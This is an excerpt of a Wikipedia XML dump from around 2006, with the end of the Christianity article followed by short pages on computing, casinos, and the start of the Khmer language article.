The Christian Church of the Roman Empire was broadly divided into the Latin-speaking West, centred on [[Rome]], and the Greek-speaking East, centred on [[Constantinople]], with significant communities also in [[Coptic Christianity|Egypt]] and [[Syriac Christianity|Syria]]. Outside the borders of the Empire, Christianity was adopted in a number of realms such as [[Armenia]] and [[Ethiopian Orthodox Tewahedo Church|Ethiopia]], and also spread to [[Christians in Iran|Persia]] and [[Saint Thomas Christians|India]], and among [[Celtic Christianity|Celtic]] tribes. During the [[Migration Period]], various Germanic peoples adopted Christianity; at first the [[Arianism|Arian]] creed was widespread (as among [[Goths]] and [[Vandals]]), but later Catholic Christianity prevailed, beginning with the [[Franks]]. The Slavic peoples of Eastern Europe generally adopted the [[Byzantine Empire|Byzantine]] form of Christianity (e.g. [[Baptism of Kievan Rus'|Russia]] in [[988]]). Cultural differences and disciplinary disputes divided the Eastern and Western parts of the Christian Roman Empire and resulted in the [[Great Schism]] (conventionally dated to [[1054]]), which effectively divided Christendom into the Catholic West and the Orthodox East. 

From the 7th century, Christianity was challenged by [[Islam]], which quickly conquered the Middle East and Northern Africa. Numerous military struggles followed, including the [[Crusades]], the Spanish [[Reconquista]] and the eventual [[Fall of Constantinople|conquest of the Byzantine Empire]] and south-eastern Europe by the [[Ottoman Empire|Turks]].

Western Christianity in the [[Middle Ages]] was characterized by cooperation and conflict between the secular rulers and the Church under the [[Pope]] and the development of [[Scholasticism|scholastic theology and philosophy]]. Later, increasing discontentment with corruption and immorality among the clergy resulted in attempts to reform Church and society. The [[Roman Catholic Church]] managed to [[Counter-Reformation|renew itself]] at the [[Council of Trent]] ([[1545]]-[[1563]], but only after the [[95 theses]] was published in [[1517]] by [[Martin Luther]]. This was one of the key events of the [[Protestant Reformation]] which was to result in the emergence of numerous [[Christian denominations|denominations]]. During the following centuries, the competition between Catholicism and Protestantism became deeply entangled with the struggle among European states for political dominance, while many of the Orthodox Churches found themselves under non-Christian rulers. Partly as a result of missionary zeal, but also under the impetus of colonial expansion by the European powers, Christianity in its various forms spread to the Americas, Oceania, East Asia and sub-Saharan Africa. As the European [[Enlightenment]] took hold, Christianity was also confronted with the discoveries of science (including the [[heliocentric]] model and the theory of [[evolution]]), and with the development of [[biblical criticism]] and modern political ideologies such as [[Liberalism]], [[Nationalism]] and [[Socialism]]. 

In the 19th and 20th centuries, important developments have included the rise of [[Christian ecumenism|Ecumenism]], the [[Charismatic Movement]], and [[Fundamentalist Christianity]].

For the contributions of Christianity to the humanities and world culture, see [[Christian philosophy]], [[Christian art]], [[Christian literature]], [[Christian music]], [[Christian architecture]].

==Persecution==
:''Main articles: [[Persecution of Christians]], [[Historical persecution by Christians]]''

Christians have frequently suffered from persecution. During the first three centuries of its existence, Christianity was regarded with suspicion and frequently persecuted in the [[Roman Empire]]. Adherence to Christianity was declared illegal and, especially in the 3rd century, the government demanded that their subjects (the Jews only excepted) sacrifice to the Emperor as a divinity &amp;mdash;a practice that Christianity (along with Judaism) rejected. Persecution in the Roman Empire ended with the [[Edict of Milan]], but it persisted or even intensified in other parts, such as [[Sassanides|Sassanid Persia]] or under [[Islam]]. In Europe it resurfaced during the [[French Revolution]] and its attempted [[Dechristianisation of France during the French Revolution|Dechristianisation]].

Christians have also been perpetrators of persecution, which has been directed against members of other religions and also against other Christians. Christian mobs, sometimes with the government support, have destroyed [[Paganism|pagan]] temples and oppressed adherents of paganism (reference the philosopher [[Hypatia of Alexandria]], who was murdered by Christians). Jewish communities have periodically suffered violence at Christian hands and have occasionally committed violence against Christians. Muslims, Jews, and Eastern Christians suffered persecution during the ear of the [[Crusades]].  Christian governments have suppressed or persecuted dissenting Christian denominations, and denominational strife has sometimes escalated into [[Religious wars]] and [[Inquisition|inquisitions]]. [[Witch hunts]], carried out by secular authorities or popular mobs, were a frequent phenomenon in parts of early modern Europe and, to a lesser degree, North America.

In discussing persecution, we should be careful to distinguish between: 
*official persecution by the state; 
*acts of popular violence (which may be tacitly permitted by the state), and
*the side-effects of war and other social upheaval. 

State oppression of Christians today is generally associated with Muslim or Communist countries. For example, the [[People's Republic of China]] allows only government-regulated churches and regularly cracks down on [[house churches]] or underground Catholics, and the public practice of Christianity is outlawed in [[Status of religious freedom in Saudi Arabia|Saudi Arabia]]. On a smaller scale, Greek and Russian governmental restrictions on non-Orthodox religious activity occur today. Some people cite anti-abortion violence in the United States and the ongoing &quot;troubles&quot; in [[Northern Ireland]] as examples of 'persecution by Christians', despite the frequent condemnation of such activities by the vast majority of Christians. Complaints of [[discrimination]] have also been made of and by Christians in various contexts.

==See also==
{|
| valign=&quot;top&quot; | 
* [[list of religions]]
* [[Jesus in the Christian Bible]]
* [[Christian apologetics]]
* [[Christian art]]
* [[Christian calendar]]
* [[Christian emigration]]
* [[Christian eschatology]]
* [[Christian music]]/[[Christian rock]]
* [[Progressive Christianity]]
* [[Virtue]]
| valign=&quot;top&quot; |
* [[Christian mythology]]
* [[Christian Meditation]]
* [[Christian Anarchism]]
* [[Christianity and anti-Semitism]]
* [[Christianity by country]]
* [[The stories of Christianity|Christian stories]]
* [[Christian views of women]]
* [[Christian Symbolism]]
* [[Antinomianism]]
| valign=&quot;top&quot; |
* [[Homosexuality and Christianity]]
* [[John 3:16]]
* [[Criticisms of Christianity]]
* [[Christian wikis]]
* [[List of Christians]]
* [[Religious ministry (Christian)|Religious ministries]]
* [[Sermon on the Mount]]
* [[Sabbath]]
* [[Judaism and Christianity]]
|}

===History and denominations===
* [[History of Christianity|Christian history]]
* [[Christian theological controversy]]
* [[Wikipedia:Wikiportal/Eastern_Christianity|Eastern Christianity portal]]
* [[Great Schism]]
* [[List of Christian denominations]]

==Notes==
:{{fnb|1}}[http://www.adherents.com/Religions_By_Adherents.html Religions by Adherents] ''Adherents.com''.
:{{fnb|2}}While sharing the Hebrew Scriptures or &quot;Old Testament&quot;, Christianity nonetheless disagrees with many points of the Jewish understanding of these texts, or their significance for practice, based on the understanding found in the &quot;New Testament&quot; and predominantly understandings found within the Pauline epistles.
:{{fnb|3}}[http://www.adherents.com/adh_branches.html#Christianity Christianity (2005)] ''Adherents.com''.
:{{fnb|4}}[http://www.jw-media.org/people/statistics.htm#Jehovah Witness Membership 2005].
:{{fnb|5}}Many Christians identify themselves as such not by the adherence to a set of religious rules or rites but instead by their personal relationship to Jesus Christ.

==References and select bibliography==
*2''A World History of Christianity''by Adrian Hastings (Editor) [http://www.amazon.com/gp/product/0802848753/102-0796906-9608913?v=glance&amp;n=283155] (A through review of this book, in this ''Journal of Theology'':[http://dlibrary.acu.edu.au/research/theology/ejournal/aejt_2/Greg_Munro.htm] 
*3 Rubenstein's, ''When Jesus Became God'', p. 179. [http://biblicalunitarian.com/modules.php?name=News&amp;file=article&amp;sid=41] 
*{{cite book | title=The Story of Christianity | author=Gonzalez, Justo L. | year=1984, 1985, 1999 | id=ISBN 1565635221}}
*{{cite book | title=Christian Theology: An Introduction | author=McGrath, Alister | id=ISBN 0631225285}}
*{{cite book | title=Christian Theology Reader | author=McGrath, Alister | id=ISBN 063120637X}}
*{{cite book | title=Mere Christianity | author=Lewis, C.S}}
*Oden, Thomas. ''Systematic Theology'' (an [[Christian ecumenism|ecumenical]] trilogy)
** Volume 1: ''The Living God'' (1992, ISBN 0060663634)
** Volume 2: ''The Word of Life'' (1992, ISBN 0060663642)
** Volume 3: ''Life in the Spirit'' (1994, ISBN 0060663626)
*1 Joseph McCabe, &quot;A Rationalist Encyclopaedia: A book of reference on religion, philosophy, ethics and science,&quot; Gryphon Books (1971). Excerpts appear at: [http://www.christianism.com/articles/18.html] 
*Pelikan, Jaroslav (5 Volumes published between 1971-1989).''The Christian Tradition:  A History of the Development of Doctrine''. 
*Tolstoy, Leo (1894). [http://www.kingdomnow.org/withinyou.html ''The Kingdom of God is Within You'']. ISBN 0803294042.
*Tomkins, Stephen (2005). ''A Short History of Christianity'' (Lion).
*Francis Legge, Forerunners and Rivals of Christianity, From 330 B.C. to 330 A.D. (1914), reprinted as two volumes bound as one, University Books New York, 1964. LC Catalog 64-24125. 
*Thomas William Doane, 1882, Bible Myths and their Parallels in Other Religions, is a bit outdated but a classic revelation of pagan antecedents of biblical myths and miracles.  
*[[Edwin Johnson]], 1887, Antiqua mater. A Study of Christian Origins. English radical theologian identified the early Christians as the Chrestiani, followers of a good (Chrestus) God who had expropriating the myth of Dionysos Eleutherios (&quot;Dionysos the Emancipator&quot;), to produce a self-sacrificing Jesus.  
*Gerardus Bolland, 1907, De Evangelische Jozua. Philosopher at Leiden identified the origin of Christianity in an earlier Jewish Gnosticism. In 1907 Pope Pius X took action and condemned the Modernists who were &quot;working within the framework of the Church&quot;. An anti-Modernist oath was introduced in 1910.  
*Arthur Drews, 1910, Die Christusmythe (The Christ Myth); 1910, Die Petruslegende (The Legend of St Peter); 1924, Die Entstehung des Christentums aus dem Gnostizismus (The Emergence of Christianity from Gnosticism).  
*Edward Carpenter, 1920, Pagan and Christian Creeds. Elaborated the pagan origins of Christianity.  
*John J. Jackson, 1938, Christianity Before Christ, Drew attention to the Egyptian precedents of Christian belief.  
*Herbert Cutner, 1950, Jesus: God, Man, or Myth? Mythical nature of Jesus and a summary of the ongoing debate between mythicists and historicizers. Pagan origins of Christ discussed.  
*Georges Ory, 1961, An Analysis of Christian Origins.  
*Guy Fau, 1967, Le Fable de Jesus Christ.  
*John Allegro, 1970, The Sacred Mushroom and the Cross. 1979, The Dead Sea Scrolls and the Christian Myth.  
*Max Rieser, 1979, The True Founder of Christianity and the Hellenistic Philosophy. Christianity started by Jews of the Diaspora and then retroactively set in pre-70 Palestine. Christianity arrived last, not first, in Palestine – that's why Christian archeological finds appear in Rome but not in Judea until the 4th century.  
*Alvar Ellegard, 1999, Jesus One Hundred Years Before Christ. Christianity seen as emerging from the Essene Church of God with the Jesus prototype the Teacher of Righteousness.  
*Timothy Freke, Peter Gandy, 1999, The Jesus Mysteries. 2001, Jesus and the Lost Goddess: The Secret Teachings of the Original Christians. Examines the close relationship between the Jesus Story and that of Osiris-Dionysus. Jesus and Mary Magdalene mythic figures based on the Pagan Godman and Goddess.  
*Burton Mack, 2001,The Christian Myth: Origins, Logic, and Legacy. Social formation of myth making.  
*Tom Harpur, 2005, The Pagan Christ: Recovering the Lost Light. Canadian New Testament scholar and ex-Anglican priest re-states the Christianity, it was clear, had not fallen from heaven but was a man-made production. 
*Vermes, Geza and Martin D. Goodman, eds. The Essenes according to the Classical Sources. Sheffield: Oxford Centre for Postgraduate Hebrew Studies and JSOT Press, 1989.

==External links==
{{Commons|Jesus Christ}}
* [http://www.biblegateway.com Bible Gateway] The Bible online.
* [http://www.religionfacts.com/christianity/index.htm ReligionFacts.com: Christianity] Fast facts, glossary, timeline, history, beliefs, texts, holidays, symbols, people, etc.
* [http://www.wikichristian.org WikiChristian], a wiki book on Christianity, church history and doctrine, and Christian art and music
* [http://www.sor.cua.edu Syriac Orthodox Resources] Large compendium of information and links relating to Oriental Orthodoxy.
* [http://www.rosicrucian.com/zineen/pamen010.htm Rosicrucian Interpretation of Christianity], an esoteric view of Christian teachings.
* [http://www.languedoc-france.info/1201_beliefs.htm Cathar Interpretation of Christianity], a gnostic view of Christian teachings.

[[Category:Christianity|*]]
[[Category:Religious faiths, traditions, and movements]]

{{Link FA|fi}}
{{Link FA|ja}}
{{Link FA|vi}}

[[af:Christendom]]
[[ar:مسيحية]]
[[an:Cristianismo]]
[[bg:Християнство]]
[[zh-min-nan:Ki-tok-kàu]]
[[be:Хрысьціянства]]
[[bs:Kršćanstvo]]
[[br:Kristeniezh]]
[[ca:Cristianisme]]
[[cs:Křesťanství]]
[[cy:Cristnogaeth]]
[[da:Kristendom]]
[[de:Christentum]]
[[et:Kristlus]]
[[el:Χριστιανισμός]]
[[es:Cristianismo]]
[[eo:Kristanismo]]
[[eu:Kristautasun]]
[[fo:Kristindómur]]
[[fr:Christianisme]]
[[fur:Cristianesim]]
[[ga:Críostaíocht]]
[[gl:Cristianismo]]
[[ko:기독교]]
[[hi:ईसाई धर्म]]
[[hr:Kršćanstvo]]
[[ht:Krisyanism]]
[[io:Kristanismo]]
[[id:Kristen]]
[[ia:Christianismo]]
[[is:Kristni]]
[[it:Cristianesimo]]
[[he:נצרות]]
[[jv:Kristen]]
[[ka:ქრისტიანობა]]
[[kw:Kristoneth]]
[[sw:Ukristo]]
[[la:Religio Christiana]]
[[lv:Kristietība]]
[[lt:Krikščionybė]]
[[lb:Chrëschtentum]]
[[li:Christendom]]
[[ln:Boklísto]]
[[jbo:xi'ojda]]
[[hu:Kereszténység]]
[[mk:Христијанство]]
[[mt:Kristjaneżmu]]
[[mi:Whakapono Karaitiana]]
[[ms:Kristian]]
[[nl:Christendom]]
[[nds:Christendom]]
[[ja:キリスト教]]
[[no:Kristendom]]
[[nn:Kristendommen]]
[[os:Чырыстон дин]]
[[ps:عيسويت]]
[[pl:Chrześcijaństwo]]
[[pt:Cristianismo]]
[[ro:Creştinism]]
[[ru:Христианство]]
[[sco:Christianity]]
[[scn:Cristianèsimu]]
[[simple:Christianity]]
[[sk:Kresťanstvo]]
[[sl:Krščanstvo]]
[[sr:Хришћанство]]
[[fi:Kristinusko]]
[[sv:Kristendom]]
[[tl:Kristyanismo]]
[[tt:Xristianlıq]]
[[th:คริสต์ศาสนา]]
[[vi:Kitô giáo]]
[[tpi:Kristen]]
[[tr:Hristiyan]]
[[uk:Християнство]]
[[wa:Crustinnisse]]
[[zh:基督教]]</text>
    </revision>
  </page>
  <page>
    <title>Classic books</title>
    <id>5212</id>
    <revision>
      <id>15903437</id>
      <timestamp>2002-05-20T21:54:32Z</timestamp>
      <contributor>
        <username>Maveric149</username>
        <id>62</id>
      </contributor>
      <comment>#redirect [[classic book]]</comment>
      <text xml:space="preserve">#redirect [[classic book]]</text>
    </revision>
  </page>
  <page>
    <title>Computing</title>
    <id>5213</id>
    <revision>
      <id>41834169</id>
      <timestamp>2006-03-02T01:17:28Z</timestamp>
      <contributor>
        <username>Vis123</username>
        <id>1014652</id>
      </contributor>
      <comment>/* Managed service provider MSP */</comment>
      <text xml:space="preserve">: ''For the formal concept of computation, see [[computation]].''

Originally, the word '''''computing''''' was synonymous with counting and calculating, and a science that deals with the original sense of computing mathematical [[calculation]]s. &quot;Computing&quot; has come to mean the '''operation''' and usage of '''computing''' [[machine]]s, the [[electronics|electrical]] [[process]]es carried out within the computing [[computer|hardware]] itself, and the theoretical concepts governing them ([[computer science]]).

The following definition of computing is given in the [[Association for Computing Machinery|ACM]] report [http://portal.acm.org/citation.cfm?id=63238.63239 Computing As a Discipline]:

&lt;blockquote&gt;The discipline of computing is the systematic study of algorithmic processes that describe and transform information: their theory, analysis, design, efficiency, implementation, and application. The fundamental question underlying all the computing is 'What can be (efficiently) automated?'&lt;/blockquote&gt;


==Science and theory==
* [[Computer science]]
* [[Theory of computation]]
* [[:Category:Computational models|Computational models]]
* [[DBLP]], as of [[October 2005]], now lists over 675 000 bibliographic entries on computer science and several thousand links to the home pages of [[computer scientist]]s
* [[Scientific computing]]

==Hardware==
See [[information processor]] for a high-level block diagram.
* [[Computer hardware]]
* [[Hardware design|Computer Hardware Design]]
* [[Computer network]]
* [[Computer system]]
* [[History of computing hardware]]

===Instruction-level taxonomies===
After the commoditization of [[random-access memory|memory]], attention turned to optimizing CPU performance at the instruction level. Various methods of speeding up the fetch-execute cycle include:
* designing [[instruction set architectures]] with simpler, faster instructions: [[RISC]] as opposed to [[CISC]] 
* [[Superscalar]] instruction execution
* [[Very long instruction word|VLIW]] architectures, which make parallelism explicit

==[[Computer software|Software]]==
* [[Software engineering]]
* [[Computer programming]]
* [[Software patent]]

==[[History of computing]]==
*[[History of computing hardware]] from the [[tally stick]] to the [[quantum computer]]
*[[Punch Card]]
*[[Unit record equipment]]
*[[IBM 700/7000 series]]
*[[IBM 1400 series]]
*[[System/360]]
*[[Early IBM disk storage]]

==Business computing==
* [[Accounting software]]
* [[Computer-aided design]]
* [[Computer-aided manufacturing]]
* [[Computer-assisted dispatch]]
* [[Customer relationship management]]
* [[Data warehouse]]
* [[Decision support system]]
* [[Electronic data processing]]
* [[Enterprise resource planning]]
* [[Geographic information system]]
* [[Management information system]]
* [[Material requirements planning]]
* [[Strategic enterprise management]]
* [[Supply chain management]]
* [[Product Lifecycle Management]]
* [[Utility Computing]]

==Managed Service Provider, MSP==
* Virtual IT Solution

==Human factors==
* [[Accessible computing]]
* [[Human-computer interaction]]

==[[Computer security]]==
* [[Cryptology]] - [[cryptography]] - [[information theory]]
* [[Software cracking|Cracking]] - [[demon dialing]] - [[hacker|Hacking]] - [[war dialing]] - [[war driving]]
* [[Social engineering (computer security)|Social engineering]] - [[Dumpster diving]]
* [[Physical security]] - [[Black bag job]]
* [[Computer insecurity]]
* [[Computer surveillance]]
* [[defensive programming]]
* [[malware]]
* [[security engineering]]

==[[Data]]==
===Numeric data===
* [[integral data type]]s - bit, byte, etc.
* [[real data type]]s:
** [[Floating point]] ([[Single precision]], [[Double precision]], etc.)
** [[fixed-point arithmetic|Fixed point]]
** [[Rational number]]
* [[Decimal]]
** [[Binary-coded decimal]] (BCD)
** [[Excess-3]] BCD (XS-3)
** [[bi-quinary coded decimal|Biquinary-coded decimal]]
* representation: [[Binary numeral system|Binary]] - [[Octal]] - [[Decimal]] - [[Hexadecimal]] (hex)
*[[Computer mathematics]] - [[Computer numbering formats]] -

===Character data===
* storage: [[Character (computing)|Character]] - [[string (computer science)|String]] - [[Text]] - [[Plain text]]
** representation: [[ASCII]] - [[Unicode]] - [[Multibyte]] - [[EBCDIC]]  ([[Widecharacter]], [[Multicharacter]]) - [[Fieldata]] - [[Baudot]]

===Other data topics===
*[[Data compression]]
*[[Digital signal processing]]
*[[Image processing]]
*[[Indexed]]
*[[Data management]]

==[[Mechatronics]]==
*[[Punch card]]
*[[Key punch]]
*[[Unit record equipment]]

==Classes of computers==
* [[Analog computer]]
* [[Calculator]]
* [[Desktop computer]]
* [[Desknote]]
* [[Digital computer]]
* [[Embedded computer]]
* [[Home computer]]
* [[Laptop]]
* [[Mainframe]]
* [[Minicomputer]]
* [[Microcomputer]]
* [[Personal computer]]
* [[Personal digital assistant]] (aka PDA, or Handheld computer)
* [[Server]]
* [[Supercomputer]]
* [[Tablet PC]]
* [[Video game console]]
* [[Workstation]]

==Companies - current==
* [[Apple Computer]]
* [[Avaya]]
* [[Dell, Inc.|Dell]]
* [[Fujitsu]]
* [[Gateway Computers]]
* [[Groupe Bull]]
* [[Hewlett-Packard]]
* [[Hitachi, Ltd.]]
* [[International Business Machines|IBM]] 
* [[Microsoft]]
* [[NEC Corporation]]
* [[NetCB Pty(Ltd)|NetCB]]
* [[Novell, Inc.|Novell]]
* [[Red Hat]]
* [[Silicon Graphics]]
* [[Sun Microsystems]]
* [[Unisys]]

==Companies - historic==
* [[Acorn Computers Ltd|Acorn]], bought by [[Olivetti]]
* [[Bendix Corporation]]
* [[Burroughs]], merged with [[UNIVAC]] to become [[Unisys]]
* [[Compaq]], bought by [[Hewlett-Packard]]
* [[Control Data]]
* [[Cray]]
* [[Data General]]
* [[Digital Equipment Corporation|DEC]], bought by [[Compaq]], in turn bought by [[Hewlett-Packard]]
* [[Digital Research]] - a software company for the early microprocessor-based computers
* [[English Electric]]
* [[Ferranti]]
* [[General Electric]], computer division bought by [[Honeywell]], then [[Groupe Bull|Bull]]
* [[Honeywell]], computer division bought by [[Groupe Bull|Bull]] and 
* [[International Computers Ltd|ICL]]
* [[Leo Computers|Leo]]
* [[Lisp Machines, Inc.]]
* [[Marconi Company|Marconi]]
* [[Nixdorf]], bought by [[Siemens AG|Siemens]]
* [[Olivetti]]
* [[Osborne Computer Corporation|Osborne]]
* [[Packard Bell]]
* [[Raytheon]]
* [[Royal McBee]]
* [[RCA]]
* [[Scientific Data Systems]], sold to [[Xerox]]
* [[Siemens AG|Siemens]]
* [[Sinclair Research Ltd|Sinclair Research]], created the [[ZX Spectrum]], [[Sinclair ZX80|ZX80]] and [[Sinclair ZX81|ZX81]]
* [[Symbolics]]
* [[UNIVAC]], merged with [[Burroughs]] to become [[Unisys]]
* [[Varian]]
* [[Wang]]

==Professional organizations==
* [[Association for Computing Machinery]] (ACM)
* [[British Computer Society]] (BCS)
* [[Association for Survey Computing]] (ASC)
* [[IEEE|Institute of Electrical and Electronics Engineers]] (IEEE), in particular the [[IEEE Computer Society]]
* [[Institution of Electrical Engineers]]
* [[International Electrotechnical Commission]] (IEC)

==Standards organizations and consortia== (see also [[standardization]])
* [[International Electrotechnical Commission]] (IEC)
* [[International Organization for Standardization]] (ISO)
* [[IEEE|Institute of Electrical and Electronics Engineers]] (IEEE)
* [[Internet Engineering Task Force]] (IETF)
* [[World Wide Web Consortium]] (W3C)

==Miscellaneous==

* [[List of computer term etymologies]]
* [[Load (computing)]]
* [[Indian Language Computing]]

[[Category:Computing|*Computing]]

[[bn:&amp;#2455;&amp;#2467;&amp;#2472;&amp;#2494; (&amp;#2453;&amp;#2478;&amp;#2509;&amp;#2474;&amp;#2495;&amp;#2441;&amp;#2463;&amp;#2495;&amp;#2434;)]]
[[es:Computación]]
[[ja:コンピューティング]]
[[zh:&amp;#35745;&amp;#31639;]]
[[pt:Computação]]</text>
    </revision>
  </page>
  <page>
    <title>Casino</title>
    <id>5215</id>
    <revision>
      <id>41684968</id>
      <timestamp>2006-03-01T01:23:12Z</timestamp>
      <contributor>
        <username>Rupertslander</username>
        <id>84475</id>
      </contributor>
      <minor />
      <comment>/* Gambling in casinos */</comment>
      <text xml:space="preserve">:''This article is about casinos for gambling.  For other uses see'' [[Casino (disambiguation)]].
[[Image:Taj Mahal.jpg|right|thumb|The [[Trump Taj Mahal]] in [[Atlantic City]], [[New Jersey]].]]
A '''casino''' is a building that accommodates certain types of [[gambling]] activities. Casinos are often placed near or combined with hotels, [[restaurants]], retail shopping and other vacation attractions to encourage long stays. Some casinos are known for hosting live entertainment events, such as concerts, and sporting events, especially [[boxing]].

==Gambling in casinos==
In most jurisdictions, gambling is limited to persons over the [[age of majority]] (21 years of age in the [[United States]] and 18 to 20 in most other countries where casinos are permitted). Customers may gamble by playing [[slot machine]]s or other games of chance (e.g., [[craps]], [[roulette]], [[baccarat]]) and some skill (eg., [[blackjack]], [[poker]]) [for more see [[casino game]]s]. Game rules usually have mathematically-determined odds that ensure the house retains an advantage over the players. This advantage is called the ''edge''. ''Payout'' is the percentage given to players.  In games such as poker, the house takes a commission (a &quot;rake&quot;) on bets players make against each other. ''Our money'' refers to the situation where a winning player is placing bets with money that has been won from the casino.

A [[croupier]] is the person who takes and pays out bets at a gambling table.

==History==
[[Image:Mirage Casino.JPG|left|thumb|[[The Mirage|Mirage Hotel &amp; Casino]], Las Vegas (jb).]]
The term originally meant a small [[villa]], [[summerhouse]] or [[pavilion (structure)|pavilion]] built for pleasure, usually on the grounds of a larger [[Italy|Italian]] villa or [[palazzo]]. There are examples of such casinos at [[Villa Giulia]] and [[Villa Farnese]]. During the [[19th century]], the term casino came to include other more public buildings where pleasurable activities, including gambling and sports, took place. An example of this type of building is the [[Newport Casino]]. In modern Italian, this term designates a [[bordello]] (also called &quot;casa chiusa&quot;, literally &quot;closed house&quot;), while the gambling house is spelled ''casinò'' with an accent.

==Security==
Traditionally, casinos have had a major concentration on security.  This results from the fact that large amounts of [[currency]] move through the casino and from the fact that people think they can beat the casino, that is cheat.  Security today consists of cameras located throughout the property operated by highly trained individuals who attempt to locate cheating and stealing by both players and employees.  

Among the most secure, and watched areas of a casino are the [[count room]]s and the [[surveillance]] room.

==See also==
[[Image:Casino slots2.jpg|right|thumb|[[Slot machine]]s are commonplace in casinos]]
* [[Casino Night]]
* [[Economic and social impacts of gambling]]
* [[Gaming Control Board]]s
* [[Native American gambling enterprises|Indian gaming]]
* [[List of casinos]]
* [[Online casino]]

==Resource web sites==
[[image:Crown Entertainment1.jpg|right|thumb|The Atrium at the [[Crown Casino]], [[Melbourne]], [[Australia]].]]
*[http://www.gambling-law-us.com United States Gambling Law]

[[Category:Casinos| ]]
[[Category:Gambling]]

[[bg:Казино]]
[[da:Kasino]]
[[de:Spielbank]]
[[es:Casino de juego]]
[[eo:Kasino]]
[[fr:Casino (lieu)]]
[[id:Kasino]]
[[he:קזינו]]
[[nl:Casino (gokken)]]
[[ja:カジノ]]
[[no:Kasino]]
[[pl:Kasyno]]
[[ru:Игорный дом]]
[[fi:Kasino]]
[[sv:Kasino]]
[[zh:賭場]]</text>
    </revision>
  </page>
  <page>
    <title>Khmer language</title>
    <id>5216</id>
    <revision>
      <id>41046652</id>
      <timestamp>2006-02-24T18:33:16Z</timestamp>
      <contributor>
        <ip>83.165.139.109</ip>
      </contributor>
      <comment>+pt</comment>
      <text xml:space="preserve">{{Infobox Language
|name=Khmer
|nativename=[[Image:PhiesaKhmae.gif]] {{IPA|[pʰiːəsaː kʰmaːe]}}
|familycolor=Austro-Asiatic
|states=[[Cambodia]], [[Vietnam]], [[Thailand]], [[USA]], [[France]], [[Australia]]
|speakers=15.7 to 21.6 million (2004)&lt;br&gt;
*Native speakers: 14.7 to 20.6 million&lt;br&gt;
**Cambodia: 12.1 million&lt;br&gt;
**Vietnam: 1.1{{ref|1}} to 7{{ref|2}} million&lt;br&gt;
**Thailand: 1.2 million&lt;br&gt;
**USA: 190,000&lt;br&gt;
**France: ca. 50,000&lt;br&gt;
**Australia: 22,000&lt;br&gt;
**Canada: 16,500 &lt;br&gt; 
*2nd language speakers: 1 million in Cambodia
|fam2=[[Mon-Khmer languages|Mon-Khmer]]
|fam3=[[Eastern Mon-Khmer]]
|nation=[[Cambodia]]
|iso1=km|iso2=khm
|lc1=khm|ld1=Central Khmer|ll1=Khmer language
|lc2=kxm|ld2=Northern Khmer|ll2=Khmer language
|notice=Indic}}

'''Khmer''' (ភាសាខ្មែរ) is one of the main [[Austroasiatic languages]]. [[Sanskrit]] and [[Pāli|Pali]] have had considerable influence on the language, through the vehicles of [[Buddhism]] and [[Hinduism]]. As result of their geographic proximity, the Khmer language has influenced [[Thai language|Thai]] and [[Lao language|Laotian]] and vice versa.
 
Khmer is somewhat unusual among its neighboring languages ([[Thai language|Thai]], [[Lao language|Laotian]] and [[Vietnamese language|Vietnamese]]) in that it is not a [[tonal language]].

== Phonology ==

Modern Standard Khmer has the following consonant and vowel phonemes.
(Please note: The phonological system described here is the inventory of sounds of the spoken language, not how they are written in the [[Khmer alphabet]].)

===Consonants===

{| class=&quot;wikitable&quot;
! || Labial || Apical || Palatal || Velar || Glottal
|-
!Plosive
|{{IPA| pʰ p ɓ}}||{{IPA|tʰ t ɗ}}||{{IPA|cʰ c}}||{{IPA|kʰ k}}||{{IPA|ʔ}}
|- 
!Nasal
| {{IPA|m}} || {{IPA|n}} || {{IPA|ɲ}} || {{IPA|ŋ}} ||
|-
!Liquid
| || {{IPA|r l}} || || || 
|-
!Fricative
| {{IPA|}} || {{IPA|s}} || || || {{IPA|h}}
|- 
!Approximant
| {{IPA|ʋ}} ||  || {{IPA|j}} || {{IPA|}} ||
|- 
|}

The consonants {{IPA|/f/}}, {{IPA|/ʃ/}}, {{IPA|/z/}} and {{IPA|/g/}} occur only in loanwords from French and other recent introductions.

===Vowel nuclei===

{| class=&quot;wikitable&quot;
!Short vowels
| {{IPA|i}} || {{IPA|e}} ||  || {{IPA|ɨ}} || {{IPA|ə}} || {{IPA|a}} || {{IPA|ɑ}} || {{IPA|u}} || {{IPA|o}} || 
|- 
!Long vowels
| {{IPA|i}} || {{IPA|eː}} || {{IPA|ɛː}} || {{IPA|ɨː}} || {{IPA|əː}} || {{IPA|aː}} || {{IPA|ɑː}} || {{IPA|uː}} || {{IPA|oː}} || {{IPA|ɔː}}
|- 
!Long diphthongs
|{{IPA|iə}} || {{IPA|ei}} || {{IPA|ae}} || {{IPA|ɨə}} || {{IPA|əɨ}} || {{IPA|aə}} || {{IPA|ɑo}} || {{IPA|uə}} || {{IPA|ou}} || {{IPA|ɔə}}
|- 
!Short diphthongs
| || {{IPA|eə̆}} ||  ||  ||  ||  ||  || {{IPA|uə̆}} || {{IPA|oə̆}} || 
|}
It must be noted that the precise number and the phonetic value of vowel nuclei vary from dialect to dialect.

===Syllables and words===

Khmer words are predominantly of one or two syllables. There are 85 possible clusters of two consonants at the beginning of syllables and two three-consonant clusters with phonetic alterations as shown below:
									
{| class=&quot;wikitable&quot;
! || {{IPA|p}} || {{IPA|ɓ}} ||  {{IPA|t}} || {{IPA|ɗ}} || {{IPA|c}} || {{IPA|k}} || {{IPA|ʔ}} || {{IPA|m}} || {{IPA|n}} || {{IPA|ɲ}} || {{IPA|ŋ}} || {{IPA|j}} || {{IPA|l}} || {{IPA|r}} || {{IPA|s}} || {{IPA|h}} || {{IPA|ʋ}}
|-
!{{IPA|p}}
| || || {{IPA|pʰt}}- || {{IPA|pɗ}}- || {{IPA|pʰc}} || {{IPA|pʰk}}- || {{IPA|pʔ}}- || || {{IPA|pʰn}}- || {{IPA|pʰɲ}}- || {{IPA|pʰŋ}}- || {{IPA|pʰj}}- || {{IPA|pʰl}}- || {{IPA|pr}}- || {{IPA|ps}}-|| ||
|- 
!{{IPA|t}}
| {{IPA|tʰp}}-|| {{IPA|tɓ}}  || || || || {{IPA|tʰk}}- || {{IPA|tʔ}}- || {{IPA|tʰm}}-||  {{IPA|tʰn}}-  || || {{IPA|tʰŋ}}- || {{IPA|tʰj}}- || {{IPA|tʰl}}- || {{IPA|tr}}- || || || {{IPA|tʰʋ}}
|- 
!{{IPA|c}}
